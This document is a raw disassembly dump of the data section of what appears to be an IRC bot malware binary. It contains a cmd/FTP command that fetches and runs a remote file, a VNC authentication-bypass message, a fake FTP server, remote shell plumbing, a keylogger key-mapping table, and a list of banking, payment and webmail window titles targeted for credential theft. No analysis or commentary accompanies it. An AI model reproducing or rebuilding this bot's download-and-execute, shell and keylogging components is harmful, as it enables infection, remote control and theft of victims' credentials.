db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
align 4
aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
; DATA XREF: sub_40E9FB+92o
db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040EE25o
align 4
aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040ECB2o
align 4
word_4346DC dw 1 ; DATA XREF: ___:0040EC29r
; sub_41B55B+24r ...
align 10h
dword_4346E0 dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
; DATA XREF: sub_41A1B1+21o
dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
dd 0
dd 392C3003h, 5E5E207Ch, 534F4241h, 5E374C41h, 37C205Eh
dd 7C312C30h, 77305020h, 75467233h, 20796C6Ch, 2C31037Ch
dd 207C2038h, 336E5730h, 203E2044h, 7325h, 20363232h, 6E617254h
dd 72656673h, 6D6F6320h, 74656C70h, 0A2E65h, 20303531h
dd 6E65704Fh, 20676E69h, 414E4942h, 6D205952h, 2065646Fh
dd 61746164h, 6E6F6320h, 7463656Eh, 0A6E6F69h, 0
aRetr db 'RETR',0
align 4
a200PortCommand db '200 PORT command successful.',0Ah,0
align 4
aS_S_S_S db '%s.%s.%s.%s',0
aXX db '%x%x',0Ah,0
align 10h
aS_2 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
db ']',0
aPort db 'PORT',0
align 10h
a226TransferCom db '226 Transfer complete',0Ah,0
align 4
aList_0 db 'LIST',0
align 10h
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
align 4
aPasv db 'PASV',0
align 4
a200TypeSetToI_ db '200 Type set to I.',0Ah,0
aI_0: ; DATA XREF: ___:004387E8o
unicode 0, <I>,0
a200TypeSetToA_ db '200 Type set to A.',0Ah,0
aA_0: ; DATA XREF: ___:004387F4o
unicode 0, <A>,0
aType db 'TYPE',0
align 4
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0
align 4
dd offset dword_445750
a350Restarting_ db '350 Restarting.',0Ah,0
align 4
aRest db 'REST',0
align 4
a215Stnyftpd db '215 StnyFtpd',0Ah,0
align 4
aSyst db 'SYST',0
align 4
a230UserLoggedI db '230 User logged in.',0Ah,0
align 4
aPass_0 db 'PASS',0
align 4
a331PasswordReq db '331 Password required',0Ah,0
align 4
aUser_2 db 'USER',0
align 4
aSS_2 db '%s %s',0
align 4
a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0
align 4
unk_4349C4 db 2Dh ; - ; DATA XREF: sub_40FAD6+3F8o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerFailedRe db ' server failed, returned %d',0
asc_4349EC db 0Dh,0Ah,0 ; DATA XREF: sub_40FAD6+2CFo
; sub_41AA1E+F5o
align 10h
aGet_0 db 'GET ',0 ; DATA XREF: sub_40FAD6+269o
align 4
aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+F7o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Content-Length: %i',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+D4o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40FF31+98o
; sub_41AF8F+1AEo
align 10h
aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FF31+84o
align 4
aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40FF31:loc_40FF97o
align 10h
aTextHtml db 'text/html',0 ; DATA XREF: sub_40FF31+5Fo
align 4
unk_434C0C db 2Dh ; - ; DATA XREF: sub_4100B4+296o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_34 db ' failed to start worker thread, error %d',0
align 4
unk_434C44 db 2Dh ; - ; DATA XREF: sub_4100B4+212o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aWorkerThreadOf db ' worker thread of server thread: %d.',0
align 4
asc_434C78: ; DATA XREF: sub_4100B4+15Ao
unicode 0, <*>,0
aS_3 db '\%s',0 ; DATA XREF: sub_4100B4+2Fo
aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0
; DATA XREF: sub_41036B+652o
align 4
aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+637o
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah
db '</TABLE>',0Dh,0Ah
db '</BODY>',0Dh,0Ah
db '</HTML>',0Dh,0Ah,0
align 10h
aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
; DATA XREF: sub_41036B+61Co
align 10h
a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_41036B+58Do
align 4
aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_41036B+571o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410893o
align 4
aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_41036B+521o
align 4
aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_41036B+46Eo
align 4
a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+42Fo
align 4
aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_41036B+3F9o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410725o
align 4
aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_41036B+3B3o
align 4
aSS_0 db '%s%s/',0 ; DATA XREF: sub_41036B+36Co
align 4
aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+328o
; sub_41036B+496o
db '<TD WIDTH="%d"><A HREF="',0
align 4
aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_41036B+310o
align 4
aS db '<%s>',0 ; DATA XREF: sub_41036B+2E9o
; sub_41036B+40Bo
align 10h
a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_41036B+2BFo
aAm db 'AM',0 ; DATA XREF: sub_41036B+295o
align 4
aPm db 'PM',0 ; DATA XREF: sub_41036B+28Ao
align 4
a__ db '..',0 ; DATA XREF: sub_41036B+237o
align 4
aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+1C5o
db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
db 'D>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 10h
aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+149o
aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+12Do
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 10h
aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+F9o
db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_41036B+AEo
db '<TABLE BORDER="0">',0Dh,0Ah,0
align 4
aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_41036B+79o
db '<HEAD>',0Dh,0Ah
db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
db '</HEAD>',0Dh,0Ah
db '<BODY>',0Dh,0Ah,0
align 4
aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+4Bo
aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410ADC+8Fo
db 'Referer: %s',0Ah
db 'Host: %s',0Ah
db 'Connection: close',0Ah
db 0Ah,0
dword_435120 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:00410D6Eo
aServerFailed_0 db '- server failed, returned %d',0
align 4
aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410D13o
dword_435164 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:00410CB8o
aClientConnecti db '- client connection from %s:%d.',0
db 2Dh ; -
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToSta_35 db 'Failed to start client thread, error: <%d>.',0
unk_4351CC db 2Dh ; - ; DATA XREF: ___:00410E94o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0
align 4
unk_435214 db 2Dh ; - ; DATA XREF: ___:004110E6o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aFailedToSta_36 db 'Failed to start connection thread, error: <%d>.',0
unk_435254 db 2Dh ; - ; DATA XREF: ___:0041101Do
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0
align 4
unk_435298 db 2Dh ; - ; DATA XREF: ___:004113A9o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedOutS db '- User logged out: <%s@%s>.',0
align 4
unk_4352C4 db 2Dh ; - ; DATA XREF: ___:00411382o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorSessionru db '- Error: SessionRun(): <%d>.',0
align 10h
unk_4352F0 db 2Dh ; - ; DATA XREF: ___:00411362o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedInS@ db '- User logged in: <%s@%s>.',0
aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:00411332o
align 4
unk_43532C db 2Dh ; - ; DATA XREF: ___:004112A1o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorGetpeerna db '- Error: getpeername(): <%d>.',0
align 4
unk_435358 db 2Dh ; - ; DATA XREF: sub_4113C5:loc_41140Ao
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aProtocolString db '- Protocol string too long.',0
align 4
dword_435384 dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh
; DATA XREF: sub_41141F+1Bo
dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
dd 203A7265h, 4073253Ch, 2E3E7325h, 0
dd 234032Dh, 676F6C72h, 2646E69h, 45202D03h, 726F7272h
dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
dd 656E7275h, 3C203A64h, 2E3E6425h, 0
dd 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h
dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
dd 676F6C72h, 2646E69h, 43202D03h, 6E65696Ch, 6F632074h
dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
dd 676F6C72h, 2646E69h, 46202D03h, 656C6961h, 6F742064h
dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
dd 0
db 2Dh ; -
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0
align 10h
unk_435520 db 2Dh ; - ; DATA XREF: sub_4116D6+DEo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0
align 4
unk_435554 db 2Dh ; - ; DATA XREF: sub_4116D6+59o
; sub_4116D6+8Bo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0
align 4
unk_43559C db 2Dh ; - ; DATA XREF: sub_411827+AFo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExecut db '- Failed to execute shell.',0
unk_4355C4 db 2Dh ; - ; DATA XREF: sub_411827+7Eo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0
align 4
unk_435604 db 2Dh ; - ; DATA XREF: sub_411827+5Co
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_435644 db 2Dh ; - ; DATA XREF: sub_411920+C3o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0
align 4
aCmdQ db 'cmd /q',0 ; DATA XREF: sub_411920+8Co
align 4
dword_435684 dd 234032Dh, 676F6C72h, 2646E69h, 53202D03h, 69737365h
; DATA XREF: sub_4119F9+A1o
dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h
dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
dd 74726F50h, 2E642520h, 0
dd 234032Dh, 6B636F73h, 3023473h
aFailedToSta_37 db '- Failed to start client thread, error: <%d>.',0
align 10h
dd 234032Dh, 6B636F73h, 3023473h
aClientConnec_2 db '- Client connection from IP: %s:%d, Server thread: %d.',0
align 4
dd 234032Dh, 6B636F73h, 3023473h
aErrorFailedToC db '- Error: Failed to connect to target, returned: <%d>.',0
align 4
dd 234032Dh, 6B636F73h, 3023473h
aErrorFailedToO db '- Error: Failed to open socket(), returned: <%d>.',0
align 4
dd 234032Dh, 6B636F73h, 3023473h
aAuthentication db '- Authentication failed. Remote userid: %s != %s.',0
align 4
dd 4000500h, 7868746Bh, 2 dup(0)
dword_435848 dd 6F672D65h, 646Ch, 1Eh dup(0) ; DATA XREF: ___:0041260Fo
dd 6E676953h, 6E4920h, 1Eh dup(0)
aHotmail db 'Hotmail',0
dd 1Eh dup(0)
aWindowsLiveMes db 'Windows Live Messenger',0
align 10h
dd 1Ah dup(0)
aPaypal_1 db 'PayPal',0
align 10h
dd 1Eh dup(0)
aStormpay db 'StormPay',0
align 4
dd 1Dh dup(0)
aStormpay_comAc db 'StormPay.com, Accept Online Payments',0
align 10h
dd 16h dup(0)
aWorldpay db 'WorldPay',0
align 4
dd 1Dh dup(0)
dd 74736F50h, 74492065h, 61696C61h, 656Eh, 1Ch dup(0)
dd 6F746F46h, 2E676F6Ch, 74656Eh, 1Dh dup(0)
aTerraFotolog db 'Terra - Fotolog',0
dd 1Ch dup(0)
dd 6F686159h, 216Fh, 1Eh dup(0)
dd 616D6F44h, 53206E69h, 63726165h, 68h, 1Ch dup(0)
aBienvenidoAGma db 'Bienvenido a Gmail',0
align 4
dd 1Bh dup(0)
aWelcomeToGmail db 'Welcome to Gmail',0
align 4
dd 1Bh dup(0)
aDomainNameRegi db 'Domain Name Registration',0
align 4
dd 19h dup(0)
dd 616D6F44h, 4E206E69h, 656D61h, 1Dh dup(0)
aMyAccountLogin db 'My Account Login',0
align 4
dd 1Bh dup(0)
aMercadolivreBr db 'MercadoLivre Brasil',0
dd 1Bh dup(0)
aWellsFargoHome db 'Wells Fargo Home Page',0
align 10h
dd 1Ah dup(0)
aRyan1918DontNe db 'Ryan1918 Dont NET :: Log in',0
dd 19h dup(0)
aEbay db 'eBay',0
align 10h
dd 1Eh dup(0)
aEbayNewUsedEle db 'eBay - New & used electronics, cars, apparel, collectibles, sport'
db 'ing goods & more at low prices',0
dd 8 dup(0)
db 49h ; I
db 6Eh, 69h, 63h
db 69h ; i
db 61h, 72h, 20h
db 73h ; s
db 65h, 73h, 69h
db 0F3h ; ó
aNebayNewUsedEl db 'neBay - New & used electronics, cars, apparel, collectibles, spor'
db 'ting goods & more at low prices',0
align 4
dd 4 dup(0)
dword_436448 dd 8, 62h, 62000000h, 2 dup(0) ; DATA XREF: ___:00412661o
dd 0Dh, 65h, 65000000h, 2 dup(0)
dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0
dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0
dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0
dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0
dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0
dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0
dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0
dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0
dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0
dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0
dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0
dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0
dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0
dd 0C0h, 60h, 7E000000h, 2 dup(0)
dd 2 dup(31h), 21000000h, 2 dup(0)
dd 2 dup(32h), 40000000h, 2 dup(0)
dd 2 dup(33h), 23000000h, 2 dup(0)
dd 2 dup(34h), 24000000h, 2 dup(0)
dd 2 dup(35h), 25000000h, 2 dup(0)
dd 2 dup(36h), 5E000000h, 2 dup(0)
dd 2 dup(37h), 26000000h, 2 dup(0)
dd 2 dup(38h), 2A000000h, 2 dup(0)
dd 2 dup(39h), 28000000h, 2 dup(0)
dd 2 dup(30h), 29000000h, 2 dup(0)
dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
dd 51h, 71h, 51000000h, 2 dup(0)
dd 57h, 77h, 57000000h, 2 dup(0)
dd 45h, 65h, 45000000h, 2 dup(0)
dd 52h, 72h, 52000000h, 2 dup(0)
dd 54h, 74h, 54000000h, 2 dup(0)
dd 59h, 79h, 59000000h, 2 dup(0)
dd 55h, 75h, 55000000h, 2 dup(0)
dd 49h, 69h, 49000000h, 2 dup(0)
dd 4Fh, 6Fh, 4F000000h, 2 dup(0)
dd 50h, 70h, 50000000h, 2 dup(0)
dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
dd 0DDh, 0
dd 7D000000h, 2 dup(0)
dd 41h, 61h, 41000000h, 2 dup(0)
dd 53h, 73h, 53000000h, 2 dup(0)
dd 44h, 64h, 44000000h, 2 dup(0)
dd 46h, 66h, 46000000h, 2 dup(0)
dd 47h, 67h, 47000000h, 2 dup(0)
dd 48h, 68h, 48000000h, 2 dup(0)
dd 4Ah, 6Ah, 4A000000h, 2 dup(0)
dd 4Bh, 6Bh, 4B000000h, 2 dup(0)
dd 4Ch, 6Ch, 4C000000h, 2 dup(0)
dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
dd 0DEh, 27h, 22000000h, 2 dup(0)
dd 5Ah, 7Ah, 5A000000h, 2 dup(0)
dd 58h, 78h, 58000000h, 2 dup(0)
dd 43h, 63h, 43000000h, 2 dup(0)
dd 56h, 76h, 56000000h, 2 dup(0)
dd 42h, 62h, 42000000h, 2 dup(0)
dd 4Eh, 6Eh, 4E000000h, 2 dup(0)
dd 4Dh, 6Dh, 4D000000h, 2 dup(0)
dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
dd 5B00005Dh, 5D4E4957h, 0
dd 2 dup(20h), 20000000h, 2 dup(0)
dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0
dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
dd 5D534E49h, 0
dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
dd 5D4C4544h, 0
dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0
dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
dd 5D5055h, 0
dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0)
dd 6Ah, 2Ah, 2A000000h, 2 dup(0)
dd 6Dh, 2Dh, 2D000000h, 2 dup(0)
dd 6Bh, 2Bh, 2B000000h, 2 dup(0)
dd 60h, 30h, 30000000h, 2 dup(0)
dd 61h, 31h, 31000000h, 2 dup(0)
dd 62h, 32h, 32000000h, 2 dup(0)
dd 63h, 33h, 33000000h, 2 dup(0)
dd 64h, 34h, 34000000h, 2 dup(0)
dd 65h, 35h, 35000000h, 2 dup(0)
dd 66h, 36h, 36000000h, 2 dup(0)
dd 67h, 37h, 37000000h, 2 dup(0)
dd 68h, 38h, 38000000h, 2 dup(0)
dd 69h, 39h, 39000000h, 2 dup(0)
dd 6Eh, 2Eh, 2E000000h, 2 dup(0)
dword_436BB4 dd 28207325h, 297325h, 252EBB2Eh, 2EAB2E73h, 65522820h
; DATA XREF: ___:0041262Do
; sub_41AF8F+EBo
dd 6E727574h, 25282029h, 2973h, 252EBB2Eh, 2EAB2E73h, 65522820h
dd 6E727574h, 29h, 252EBB2Eh, 2EAB2E73h, 75422820h, 72656666h
dd 6C756620h, 2820296Ch, 297325h, 252EBB2Eh, 2EAB2E73h
dd 75422820h, 72656666h, 6C756620h, 296Ch, 252EBB2Eh, 2EAB2E73h
dd 68432820h, 65676E61h, 69572064h, 776F646Eh, 25203A73h
dd 2973h, 252EBB2Eh, 2EAB2E73h, 0
dd offset off_4374C0
dd offset off_4374BC
dd offset off_4374B8
dd offset aHttp_0 ; "HTTP"
dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
dd 6F6C213Ah, 6E6967h, 4 dup(0)
dd 6F6C403Ah, 6E6967h, 4 dup(0)
dd 6F6C243Ah, 6E6967h, 4 dup(0)
dd 6F6C253Ah, 6E6967h, 4 dup(0)
dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
dd 6F6C263Ah, 6E6967h, 4 dup(0)
dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
dd 6F6C273Ah, 6E6967h, 4 dup(0)
dd 6F6C603Ah, 6E6967h, 4 dup(0)
dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
dd 6F6C203Ah, 6E6967h, 4 dup(0)
dd 75612E3Ah, 6874h, 4 dup(0)
dd 75612C3Ah, 6874h, 4 dup(0)
dd 7561213Ah, 6874h, 4 dup(0)
dd 7561403Ah, 6874h, 4 dup(0)
dd 7561243Ah, 6874h, 4 dup(0)
dd 7561253Ah, 6874h, 4 dup(0)
dd 75615E3Ah, 6874h, 4 dup(0)
dd 7561263Ah, 6874h, 4 dup(0)
dd 75612A3Ah, 6874h, 4 dup(0)
dd 75612D3Ah, 6874h, 4 dup(0)
dd 75612B3Ah, 6874h, 4 dup(0)
dd 75612F3Ah, 6874h, 4 dup(0)
dd 75615C3Ah, 6874h, 4 dup(0)
dd 75613D3Ah, 6874h, 4 dup(0)
dd 75613F3Ah, 6874h, 4 dup(0)
dd 7561273Ah, 6874h, 4 dup(0)
dd 7561603Ah, 6874h, 4 dup(0)
dd 75617E3Ah, 6874h, 4 dup(0)
dd 7561203Ah, 6874h, 4 dup(0)
dd 64692E3Ah, 5 dup(0)
dd 64692C3Ah, 5 dup(0)
dd 6469213Ah, 5 dup(0)
dd 6469403Ah, 5 dup(0)
dd 6469243Ah, 5 dup(0)
dd 6469253Ah, 5 dup(0)
dd 64695E3Ah, 5 dup(0)
dd 6469263Ah, 5 dup(0)
dd 64692A3Ah, 5 dup(0)
dd 64692D3Ah, 5 dup(0)
dd 64692B3Ah, 5 dup(0)
dd 64692F3Ah, 5 dup(0)
dd 64695C3Ah, 5 dup(0)
dd 64693D3Ah, 5 dup(0)
dd 64693F3Ah, 5 dup(0)
dd 6469273Ah, 5 dup(0)
dd 6469603Ah, 5 dup(0)
dd 64697E3Ah, 5 dup(0)
dd 6469203Ah, 5 dup(0)
dd 61682E3Ah, 6E696873h, 4 dup(0)
